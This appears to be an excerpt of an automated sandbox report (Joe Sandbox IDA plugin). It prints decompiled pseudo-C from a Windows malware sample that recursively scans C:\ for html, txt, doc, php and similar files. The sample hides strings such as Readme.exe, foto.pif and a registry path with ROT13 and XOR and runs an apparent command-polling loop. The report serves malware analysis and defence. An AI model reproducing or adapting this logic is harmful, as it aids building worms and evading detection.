						 *((intOrPtr*)(_t92 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t92 + 0x2c)) =  *0x418264;
						_t103 =  *0x40d4fc; // 0xffffffff
						_t72 =  *0x40d4f8; // 0x0
						 *((intOrPtr*)(_t92 + 0x38)) = _t103;
						_t104 = 0x1f;
						 *((intOrPtr*)(_t92 + 0x34)) = _t72;
						do {
							_t74 = _t92 & _t100;
							asm("sbb eax, eax");
							_t100 = _t100 + _t100;
							 *((char*)(_t104 +  &_v188)) = (_t74 & 0x00000020) + 0x41;
							_t104 = _t104 - 1;
						} while (_t104 >= 0);
						_t77 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v156 = _t77;
						_t78 = M004131B4; // 0x57434347
						_v152 = _t78;
						_t79 = M004131B8; // 0x452d3233
						_v148 = _t79;
						_t80 = M004131BC; // 0x2d322d48
						_v144 = _t80;
						_t81 = M004131C0; // 0x4a4c4a53
						_v140 = _t81;
						_t82 = M004131C4; // 0x4854472d
						_v136 = _t82;
						_t83 = M004131C8; // 0x494d2d52
						_v132 = _t83;
						_t84 =  *0x4131cc; // 0x3357474e
						_v128 = _t84;
						_v124 =  *0x4131d0 & 0x0000ffff;
						 *_t115 =  &_v188; // executed
						_t87 =  *0x419368(); // executed
						_t108 = _t87 & 0x0000ffff;
						_t116 = _t115 - 4;
						if(_t108 != 0) {
							_t89 = E0040B040(_t108, _t92);
							_t105 = _t108;
							if(_t89 != _t92) {
								goto L7;
							} else {
								goto L8;
							}
							goto L19;
						} else {
							L7:
							_t105 = 0;
						}
						L8:
						if(_t105 == 0) {
							 *_t116 = _t92;
							L0040C1C8();
							 *_t116 = _t109;
							_t61 =  *0x419398() & 0x0000ffff;
							goto L10;
						}
					}
					 *0x418284 = _t92;
					_t46 = _t92 + 4; // 0x4
					 *0x418274 = _t46;
					_t47 = _t92 + 8; // 0x8
					_t64 = _t47;
					 *0x418294 = _t64;
					return _t64;
				} else {
					return __eax;
				}
				L19:
			}

0x0040b0e6
0x0040b0ec
0x0040b0f4
0x0040b0fe
0x0040b105
0x0040b10a
0x0040b10a
0x0040b10d
0x0040b114
0x0040b11b
0x0040b11e
0x0040b123
0x0040b12a
0x0040b131
0x0040b134
0x0040b139
0x0040b140
0x0040b147
0x0040b14a
0x0040b14f
0x0040b156
0x0040b159
0x0040b15e
0x0040b161
0x0040b166
0x0040b169
0x0040b16e
0x0040b171
0x0040b176
0x0040b180
0x0040b184
0x0040b18d
0x0040b190
0x0040b195
0x0040b19b
0x0040b2dc
0x0040b2e1
0x0040b1a1
0x0040b1a1
0x0040b1a8
0x0040b1af
0x0040b1b1
0x0040b310
0x0040b31b
0x0040b31f
0x0040b320
0x0040b323
0x0040b326
0x0040b32d
0x0040b336
0x0040b336
0x0040b34b
0x0040b34b
0x0040b1b7
0x0040b1c5
0x0040b1c5
0x0040b1c7
0x0040b1ce
0x0040b1d3
0x0040b1df
0x0040b1eb
0x0040b1f2
0x0040b1f5
0x0040b1fa
0x0040b1fd
0x0040b203
0x0040b20b
0x0040b20e
0x0040b215
0x0040b218
0x0040b21e
0x0040b223
0x0040b226
0x0040b22b
0x0040b230
0x0040b232
0x0040b237
0x0040b23b
0x0040b23f
0x0040b246
0x0040b246
0x0040b249
0x0040b24e
0x0040b254
0x0040b259
0x0040b25f
0x0040b264
0x0040b26a
0x0040b26f
0x0040b275
0x0040b27a
0x0040b280
0x0040b285
0x0040b28b
0x0040b290
0x0040b293
0x0040b298
0x0040b2a2
0x0040b2ac
0x0040b2af
0x0040b2b5
0x0040b2b8
0x0040b2bd
0x0040b303
0x0040b30a
0x0040b30c
0x00000000
0x0040b30e
0x00000000
0x0040b30e
0x00000000
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2c1
0x0040b2c3
0x0040b2c5
0x0040b2c8
0x0040b2cd
0x0040b2d9
0x00000000
0x0040b2d9
0x0040b2c3
0x0040b2e3
0x0040b2e9
0x0040b2ec
0x0040b2f1
0x0040b2f1
0x0040b2f4
0x0040b300
0x0040b0f6
0x0040b0fd
0x0040b0fd
0x00000000

Strings

AAAA, xrefs: 0040B14F
AAAA, xrefs: 0040B123
AAAA, xrefs: 0040B10A
AAAA, xrefs: 0040B114
AAAA, xrefs: 0040B12A
AAAA, xrefs: 0040B10D
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 0040B105, 0040B249
AAAA, xrefs: 0040B139
AAAA, xrefs: 0040B140

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 0-4229226183
Opcode ID: e121aab65c52f84232180f22f1a17a4096b6524b51ea5d091e72e0ac7f7ffeb1
Instruction ID: 5c8a408c4dcb306db70316dfdce650025cae950a5a82f7704b97cd34435e599e
Opcode Fuzzy Hash: e121aab65c52f84232180f22f1a17a4096b6524b51ea5d091e72e0ac7f7ffeb1
Instruction Fuzzy Hash: DC6107B4A00218DFDB50CFA9E9C4699BBF0FB48311F1481BAD818EB395E7349945CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 10.1, Strings: 8, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00403622(signed int __eax, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				char _v300;
				intOrPtr _v308;
				signed int _v312;
				char _v328;
				intOrPtr _v336;
				intOrPtr _v344;
				intOrPtr _v352;
				intOrPtr _v360;
				intOrPtr _v368;
				intOrPtr _v376;
				intOrPtr _v384;
				void* __ebx;
				signed int _t32;
				signed int _t33;
				char _t36;
				char _t37;
				intOrPtr _t40;
				signed int _t41;
				intOrPtr _t42;
				char _t43;
				char* _t44;
				void* _t45;
				intOrPtr* _t46;
				intOrPtr* _t48;

				_t41 = __edx;
				_t32 = __eax;
				_t46 = _t45 - 0x12c;
				_t42 = _a4;
				_t40 = _a8;
				_t36 = 0;
				_t43 = 0xffffffff;
				if( *((char*)(_t40 + 0x2c)) == 0) {
					L4:
					if(_t43 >= 0) {
						_v308 = 0x103;
						_t32 = _t40 + _t43 + 0x2d;
						_v312 = _t32;
						_t37 =  &_v300;
						 *_t46 = _t37;
						L0040C350();
						_v328 = _t37;
						L0040C290();
						_t46 = _t46 - 8;
					} else {
						_v300 = 0;
					}
					_v328 = 0x40efb2;
					_t44 =  &_v300;
					 *_t46 = _t44;
					L0040C318();
					_t48 = _t46 - 8;
					if(_t32 == 0) {
						L15:
						 *_t48 = _t42; // executed
						_t33 = E00402F2E(1, _t41); // executed
						_t32 =  ~((_t33 & 0xffffff00 | _t33 != 0x00000000) & 0x000000ff);
						if((0x00000001 & _t32) == 1) {
							 *_t48 = _t42; // executed
							_t32 = E0040307E(_t41); // executed
						}
						goto L17;
					} else {
						_v336 = 0x40efb7;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v344 = 0x40efbb;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v352 = 0x40efbf;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v360 = 0x40efc3;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v368 = 0x40efc7;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v376 = 0x40ee83;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v384 = 0x40efca;
						 *_t48 = _t44;
						L0040C318();
						_t48 = _t48 - 8;
						if(_t32 != 0) {
							L17:
							return _t32;
						}
						goto L15;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					if( *((char*)(_t40 + _t36 + 0x2c)) == 0x2e) {
						_t43 = _t36;
					}
					_t36 = _t36 + 1;
					_t41 = _t41 & 0xffffff00 |  *((char*)(_t40 + _t36 + 0x2c)) != 0x00000000;
					_t32 = _t32 & 0xffffff00 | _t36 - 0x000000fe <= 0x00000000;
				} while ((_t41 & _t32) != 0);
				goto L4;
			}

0x00403622
0x00403622
0x00403628
0x0040362e
0x00403631
0x00403634
0x00403639
0x00403642
0x00403663
0x00403665
0x00403670
0x00403678
0x0040367c
0x00403680
0x00403686
0x00403689
0x00403691
0x00403694
0x00403699
0x00403667
0x00403667
0x00403667
0x004036a1
0x004036a9
0x004036af
0x004036b2
0x004036b7
0x004036bc
0x00403767
0x00403767
0x0040376a
0x00403777
0x0040377e
0x00403780
0x00403783
0x00403783
0x00000000
0x004036c2
0x004036c2
0x004036ca
0x004036cd
0x004036d2
0x004036d7
0x00000000
0x00000000
0x004036dd
0x004036e5
0x004036e8
0x004036ed
0x004036f2
0x00000000
0x00000000
0x004036f4
0x004036fc
0x004036ff
0x00403704
0x00403709
0x00000000
0x00000000
0x0040370b
0x00403713
0x00403716
0x0040371b
0x00403720
0x00000000
0x00000000
0x00403722
0x0040372a
0x0040372d
0x00403732
0x00403737
0x00000000
0x00000000
0x00403739
0x00403741
0x00403744
0x00403749
0x0040374e
0x00000000
0x00000000
0x00403750
0x00403758
0x0040375b
0x00403760
0x00403765
0x00403788
0x0040378f
0x0040378f
0x00000000
0x00403765
0x00000000
0x00000000
0x00000000
0x00403644
0x00403644
0x00403649
0x0040364b
0x0040364b
0x0040364d
0x00403653
0x0040365c
0x0040365f
0x00000000

Strings

html, xrefs: 004036A1
htm, xrefs: 004036C2
C:\, xrefs: 00403626
xml, xrefs: 004036F4
php, xrefs: 00403739
tbb, xrefs: 00403750
txt, xrefs: 004036DD
doc, xrefs: 0040370B

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: C:\$doc$htm$html$php$tbb$txt$xml
API String ID: 0-312059954
Opcode ID: dc05e5cdd392e04bc51eba1f7065f56e4f2167f4d31b7c461c5834b6df2cda79
Instruction ID: 6961f7bd5c8fa27dba0ec7a422f8e7192e07f4a6a10a31976eaf7852eedd0230
Opcode Fuzzy Hash: dc05e5cdd392e04bc51eba1f7065f56e4f2167f4d31b7c461c5834b6df2cda79
Instruction Fuzzy Hash: FE31B1B44047409AC7107F368A8526E7EE89B4078DF01897FEC80676C2D73C8A59CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE0 Relevance: 10.1, Strings: 8, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tepbcl.qyy, xrefs: 00403AEB
foto.pif, xrefs: 00403B96
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403BDD
fgngrz, xrefs: 00403BF3
mvcsv.qyy, xrefs: 00403B1B
Readme.exe, xrefs: 00403B45
mvcsvnd.qyy, xrefs: 00403B66
x, xrefs: 00403B80

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$Readme.exe$fgngrz$foto.pif$mvcsv.qyy$mvcsvnd.qyy$tepbcl.qyy$x
API String ID: 3161882108-727612787
Opcode ID: 819f8b6b43c1a4bc741779b6a6ad3373cdd59e2baf942c7b0dbc45e149701a7a
Instruction ID: aba1e27b33e5380b7e2637a9dd0f7b6f92beebfe16ff9740c24b48d29de174a4
Opcode Fuzzy Hash: 819f8b6b43c1a4bc741779b6a6ad3373cdd59e2baf942c7b0dbc45e149701a7a
Instruction Fuzzy Hash: 00313BB08097159AD310BF22C58529EBBE4AF80749F41CC7EF5C867281DB3C9689DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00407C4E Relevance: 7.7, Strings: 6, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E00407C4E(void* __edx) {
				void* _v12;
				signed short _v22;
				signed short _v26;
				signed short _v28;
				void _v76;
				char _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				void _v124;
				void _v172;
				char _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				void _v220;
				short _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				void _v268;
				int _v272;
				int _v276;
				char _v280;
				char* _v308;
				int _v312;
				int* _v316;
				int _v320;
				int _v324;
				char* _v328;
				signed short* _v332;
				int _t105;
				intOrPtr _t122;
				void* _t133;
				int _t145;
				char* _t146;
				int _t148;
				int _t149;
				int _t156;
				void* _t169;
				void* _t184;
				int* _t192;

				_t169 = __edx;
				_t156 = 1;
				asm("cld");
				_t105 = memset(0x4141a4, 0, 7 << 2);
				 *0x4141c0 = 0;
				memset( &_v220, memset( &_v172, memset( &_v124, memset( &_v76, memset( &_v268, _t105, 0xa << 2), 0xa << 2), 0xa << 2), 0xa << 2), 0xa << 2);
				E00404C38( &_v76, "p515p225982son69p76q604qp7s97975");
				E00404C38( &_v172, "2317q129n58non7o3148por15qs741r3");
				_v124 = 0x77727732;
				_v120 = 0x66783d62;
				_v116 = 0x27766170;
				_v112 = 0x6d737b67;
				_v108 = 0x70677e23;
				_v104 = 0;
				_t22 =  &_v124; // 0x77727732
				E00404C6A("xe", _t22);
				_v220 = 0x79707534;
				_v216 = 0x64693f6c;
				_v212 = 0x3974797a;
				_v208 = 0x6e607e7a;
				_v204 = 0x7e657c25;
				_v200 = 0;
				_t30 =  &_v220; // 0x79707534
				E00404C6A("xc", _t30);
				 *0x4141a4 = 0x717c793c;
				 *0x4141a8 = 0x71763b64;
				 *0x4141ac = 0x3169767a;
				 *0x4141b0 = 0x667c7373;
				 *0x4141b4 = 0x7669702d;
				 *0x4141b8 = 0;
				E00404C6A("ra", 0x4141a4);
				_v268 = 0x63686f28;
				_v264 = 0x6d672578;
				_v260 = 0x236c766c;
				_v256 = 0x7d647c62;
				_v252 = 0x7c65386d;
				_v248 = 0x6b;
				_t39 =  &_v268; // 0x63686f28
				E00404C6A("cd", _t39); // executed
				_t122 = E00404CE6(_t169); // executed
				 *0x40d4c0 = _t122;
				_v332 =  &_v28;
				L0040C3F0();
				_t192 = _t184 - 0x140 + 0x48 - 4;
				 *_t192 = (_v28 & 0x0000ffff) + (_v26 & 0x0000ffff) + (_v22 & 0x0000ffff) + 0xfa8;
				E004020F8();
				while(1) {
					_t196 = _t156 - 0x33;
					if(_t156 == 0x33) {
						_t156 = 0;
						 *_t192 = 0xfa8;
						E004020F8();
					}
					L3:
					 *_t192 = 0x414140;
					E00402120();
					_v308 =  &_v76;
					_v312 = 1;
					_v316 =  &_v272;
					_v320 =  &_v276;
					_v324 = 0;
					_v328 = 0x412d3d;
					_t56 =  &_v124; // 0x77727732
					_v332 = _t56;
					 *_t192 = 0x414140; // executed
					_t133 = E00401C2C(_t196); // executed
					if(_t133 != 0) {
						_v308 =  &_v172;
						_v312 = 1;
						_v316 =  &_v272;
						_v320 =  &_v276;
						_v324 = 0;
						_v328 = 0x412d3d;
						_t67 =  &_v220; // 0x79707534
						_v332 = _t67;
						 *_t192 = 0x414140;
						__eflags = E00401C2C(__eflags);
						if(__eflags != 0) {
							_v308 = 0x412d3d;
							_v312 = 0;
							_v316 =  &_v272;
							_v320 =  &_v276;
							_v324 = 1;
							_v328 = 0x412d3d;
							_t77 =  &_v268; // 0x63686f28
							_v332 = _t77;
							 *_t192 = 0x414140;
							__eflags = E00401C2C(__eflags);
							if(__eflags == 0) {
								_v308 = 0x412d3d;
								_v312 = 0;
								_v316 =  &_v272;
								_v320 =  &_v276;
								_v324 = 0;
								_v328 = "command";
								_v332 = 0x4141a4;
								 *_t192 = 0x414140;
								_t145 = E00401C2C(__eflags);
								__eflags = _t145;
								if(_t145 != 0) {
									_t146 =  &_v280;
									_v316 = _t146;
									_v320 = 0;
									_v324 = 0;
									_v328 = E00407144;
									_v332 = 0;
									 *_t192 = 0;
									L0040C330();
									return _t146;
								}
								__eflags = _t156;
								if(_t156 != 0) {
									_t156 = _t156 + 1;
								}
								while(1) {
									_t196 = _t156 - 0x33;
									if(_t156 == 0x33) {
										_t156 = 0;
										 *_t192 = 0xfa8;
										E004020F8();
									}
									goto L3;
								}
							}
							__eflags = _v272;
							if(_v272 == 0) {
								 *_t192 = _v276;
								E004020F8();
							}
							_t148 = _v272;
							__eflags = _t148 - _v276;
							if(_t148 > _v276) {
								_t149 = _t148 - _v276;
								_v272 = _t149;
								 *_t192 = _t149;
								_v272 = E00404EAE(_t149);
								 *_t192 = _v276 + _v272;
								E004020F8();
								_t156 = 0;
							}
							while(1) {
								_t196 = _t156 - 0x33;
								if(_t156 == 0x33) {
									_t156 = 0;
									 *_t192 = 0xfa8;
									E004020F8();
								}
								goto L3;
							}
						}
						__eflags = _t156;
						if(_t156 != 0) {
							_t156 = _t156 + 1;
						}
						while(1) {
							_t196 = _t156 - 0x33;
							if(_t156 == 0x33) {
								_t156 = 0;
								 *_t192 = 0xfa8;
								E004020F8();
							}
							goto L3;
						}
					}
					if(_t156 != 0) {
						_t156 = _t156 + 1;
					}
				}
			}

0x00407c4e
0x00407c59
0x00407c63
0x00407c6e
0x00407c70
0x00407cb2
0x00407cc2
0x00407cd8
0x00407cdd
0x00407ce4
0x00407ceb
0x00407cf2
0x00407cf9
0x00407d00
0x00407d04
0x00407d12
0x00407d17
0x00407d21
0x00407d2b
0x00407d35
0x00407d3f
0x00407d49
0x00407d50
0x00407d61
0x00407d66
0x00407d70
0x00407d7a
0x00407d84
0x00407d8e
0x00407d98
0x00407dae
0x00407db3
0x00407dbd
0x00407dc7
0x00407dd1
0x00407ddb
0x00407de5
0x00407dee
0x00407dff
0x00407e04
0x00407e09
0x00407e11
0x00407e14
0x00407e19
0x00407e31
0x00407e34
0x00407e39
0x00407e39
0x00407e3c
0x00407e3e
0x00407e43
0x00407e4a
0x00407e4a
0x00407e4f
0x00407e4f
0x00407e56
0x00407e5e
0x00407e62
0x00407e70
0x00407e7a
0x00407e7e
0x00407e86
0x00407e8e
0x00407e91
0x00407e95
0x00407e9c
0x00407ea3
0x00407eb2
0x00407eb6
0x00407ec4
0x00407ece
0x00407ed2
0x00407eda
0x00407ee2
0x00407ee8
0x00407eec
0x00407ef8
0x00407efa
0x00407f0a
0x00407f12
0x00407f20
0x00407f2a
0x00407f2e
0x00407f36
0x00407f3e
0x00407f44
0x00407f48
0x00407f54
0x00407f56
0x00407fb9
0x00407fc1
0x00407fcf
0x00407fd9
0x00407fdd
0x00407fe5
0x00407fed
0x00407ff5
0x00407ffc
0x00408001
0x00408003
0x00408013
0x00408019
0x0040801d
0x00408025
0x0040802d
0x00408035
0x0040803d
0x00408044
0x00408052
0x00408052
0x00408005
0x00408007
0x0040800d
0x0040800d
0x00407e39
0x00407e39
0x00407e3c
0x00407e3e
0x00407e43
0x00407e4a
0x00407e4a
0x00000000
0x00407e3c
0x00407e39
0x00407f58
0x00407f5f
0x00407f67
0x00407f6a
0x00407f6a
0x00407f6f
0x00407f75
0x00407f7b
0x00407f81
0x00407f87
0x00407f8d
0x00407f95
0x00407fa7
0x00407faa
0x00407faf
0x00407faf
0x00407e39
0x00407e39
0x00407e3c
0x00407e3e
0x00407e43
0x00407e4a
0x00407e4a
0x00000000
0x00407e3c
0x00407e39
0x00407efc
0x00407efe
0x00407f04
0x00407f04
0x00407e39
0x00407e39
0x00407e3c
0x00407e3e
0x00407e43
0x00407e4a
0x00407e4a
0x00000000
0x00407e3c
0x00407e39
0x00407ea7
0x00407ea9
0x00407ea9
0x00407ea7

Strings

4upyl?idzyt9z~`n%|e~, xrefs: 00407D50
(ohcx%gmlvl#b|d}m8e|k, xrefs: 00407DEE
2wrwb=xfpav'g{sm#~gp, xrefs: 00407D04
p515p225982son69p76q604qp7s97975, xrefs: 00407CB4
2317q129n58non7o3148por15qs741r3, xrefs: 00407CC7
command, xrefs: 00407FE5

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: (ohcx%gmlvl#b|d}m8e|k$2317q129n58non7o3148por15qs741r3$2wrwb=xfpav'g{sm#~gp$4upyl?idzyt9z~`n%|e~$command$p515p225982son69p76q604qp7s97975
API String ID: 0-1317110218
Opcode ID: 3b302b6d43d74a98c13ab758241e034301bd5c6a4bfb739d270d35eaf3ab789f
Instruction ID: 80463a4929d65f88bb62c6d7506587d1b44305c3c58205fc38c9e757c491522e
Opcode Fuzzy Hash: 3b302b6d43d74a98c13ab758241e034301bd5c6a4bfb739d270d35eaf3ab789f
Instruction Fuzzy Hash: F8A1F2B08083199ADB10DF55C5453DEBBF0BB94304F5089AED588A7381D7B89AC9CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403790 Relevance: 6.4, Strings: 5, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E00403790(signed int __eax, signed int __edx, void* _a4, intOrPtr _a8) {
				void* _v16;
				char _v316;
				char _v590;
				char _v591;
				char _v592;
				signed char _v636;
				intOrPtr _v644;
				signed int _v648;
				intOrPtr _v656;
				signed char* _v664;
				signed int _t59;
				signed int _t67;
				signed int _t74;
				signed int _t75;
				signed int _t76;
				signed int _t77;
				signed int _t99;
				void* _t101;
				signed int* _t102;

				_t77 = 1;
				if((__edx & 0xffffff00 | _a8 <= 0x00000000 | __eax & 0xffffff00 | _a4 == 0x00000000) != 0) {
					L21:
					return _t77;
				}
				_t77 = 1;
				if( *_a4 == 0) {
					goto L21;
				} else {
					_v648 = _a4;
					_t74 =  &_v316;
					 *_t102 = _t74;
					L0040C210();
					asm("cld");
					asm("repne scasb");
					if( *((char*)(_t101 + 0xbada73)) != 0x5c) {
						asm("repne scasb");
						 *((short*)( !0xffffffff + _t74 - 1)) = 0x5c;
					}
					asm("cld");
					asm("repne scasb");
					 *((intOrPtr*)( !0xffffffff +  &_v316 - 1)) = 0x2a2e2a;
					_v644 = 0x140;
					_v648 = 0;
					 *_t102 =  &_v636;
					L0040C1F0();
					_t99 = 0;
					L5:
					while(1) {
						if(_t99 != 0) {
							_t59 =  &_v636;
							_v648 = _t59;
							 *_t102 = _t99; // executed
							L0040C360(); // executed
							_t102 = _t102 - 8;
							if(_t59 == 0) {
								if(_t99 != 0) {
									 *_t102 = _t99; // executed
									L0040C368(); // executed
								}
								L20:
								_t77 = 0;
								goto L21;
							}
							L9:
							if(_v592 != 0x2e || _v591 != 0 && (_v591 != 0x2e || _v590 != 0)) {
								_v656 = _a4;
								_t75 =  &_v316;
								 *_t102 = _t75;
								L0040C320();
								_t102 = _t102 - 8;
								asm("cld");
								asm("repne scasb");
								if( *((char*)(_t101 + 0xbada73)) != 0x5c) {
									asm("repne scasb");
									 *((short*)( !0xffffffff + _t75 - 1)) = 0x5c;
								}
								_v664 =  &_v592;
								_t76 =  &_v316;
								 *_t102 = _t76;
								L0040C208();
								if((_v636 & 0x00000010) == 0) {
									_v664 =  &_v636;
									 *_t102 =  &_v316; // executed
									E00403622( &_v316, 0xffffffff); // executed
								} else {
									_v664 = _a8 - 1;
									 *_t102 = _t76; // executed
									E00403790(_a8 - 1, 0xffffffff); // executed
								}
							}
							continue;
						}
						_v648 =  &_v636;
						_t67 =  &_v316;
						 *_t102 = _t67; // executed
						L0040C358(); // executed
						_t102 = _t102 - 8;
						_t99 = _t67 &  ~((_t67 & 0xffffff00 | _t67 != 0xffffffff) & 0x000000ff);
						if(_t99 == 0) {
							goto L20;
						}
						goto L9;
					}
				}
			}

0x004037aa
0x004037b1
0x00403964
0x0040396d
0x0040396d
0x004037b7
0x004037c2
0x00000000
0x004037c8
0x004037cb
0x004037cf
0x004037d5
0x004037d8
0x004037e6
0x004037e9
0x004037f5
0x004037fb
0x004037ff
0x004037ff
0x0040380e
0x00403816
0x0040381a
0x00403828
0x00403830
0x00403838
0x0040383b
0x00403840
0x00000000
0x00403845
0x00403847
0x0040387b
0x00403881
0x00403885
0x00403888
0x0040388d
0x00403892
0x00403952
0x00403954
0x00403957
0x0040395c
0x0040395f
0x0040395f
0x00000000
0x0040395f
0x00403898
0x0040389f
0x004038bf
0x004038c3
0x004038c9
0x004038cc
0x004038d1
0x004038dd
0x004038e0
0x004038ec
0x004038f2
0x004038f6
0x004038f6
0x00403903
0x00403907
0x0040390d
0x00403910
0x0040391c
0x00403939
0x00403943
0x00403946
0x0040391e
0x00403922
0x00403926
0x00403929
0x00403929
0x0040391c
0x00000000
0x0040389f
0x0040384f
0x00403853
0x00403859
0x0040385c
0x00403861
0x00403871
0x00403873
0x00000000
0x00000000
0x00000000
0x00403879
0x00403845

Strings

C:\, xrefs: 00403794
*.*, xrefs: 0040381A
., xrefs: 004038AA
\, xrefs: 004038E4
., xrefs: 00403898

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: *.*$.$.$C:\$\
API String ID: 0-389428931
Opcode ID: 3a786e443a1036d7155bbffe9fadff1b0aa8ea2b0cb4425a15adcc3c477b1c1b
Instruction ID: b4465dfa5f332ec533157c87ff7dca4d317d8e0d8912ef682c4f4d402bf95f8b
Opcode Fuzzy Hash: 3a786e443a1036d7155bbffe9fadff1b0aa8ea2b0cb4425a15adcc3c477b1c1b
Instruction Fuzzy Hash: 505194758083588ADB20AF35C48839DBFE5AF44315F1486BEE859673C1DB788F88CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00403D26 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

7618ED80.ADVAPI32 ref: 00403D90
